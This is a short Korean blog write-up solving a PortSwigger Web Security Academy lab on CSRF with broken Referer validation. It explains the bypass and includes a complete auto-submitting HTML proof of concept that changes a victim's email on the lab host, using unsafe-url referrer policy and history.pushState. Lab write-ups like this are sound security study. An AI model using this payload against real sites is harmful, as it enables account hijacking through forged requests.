WEB hacking/PortSwigger
Lab: CSRF with broken Referer validation 문제 풀이(WriteUp)
Roronoa
2025. 6. 23. 00:28
반응형
문제 설명
피해자의 이메일을 변경하면 문제를 해결할 수 있다.
문제 풀이
My Account 페이지에 접근한 후 이메일 변경 요청을 수행한다.
이메일 변경 요청 시 CSRF 토큰이 존재하지 않는다.
Referer 헤더를 제거한 후 이메일 변경 요청을 수행할 시 Referer 검증을 통해 에러를 반환한다.
Referer 헤더에 google.com?같은 사이트 와 같이 전송하면, Referer 검증을 우회할 수 있다.
POC
meta 태그 referrer 속성을 unsafe-url로 설정한다.
history.pushState()를 사용하여 페이지를 reload하지 않고 url만 변경한 후 CSRF 공격을 진행한다.
<html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<body>
<form action="https://0a2000ee038054828105854600d50054.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener123@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?0a2000ee038054828105854600d50054.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
공격 코드를 피해자에게 전송하여 문제를 해결하였다.
반응형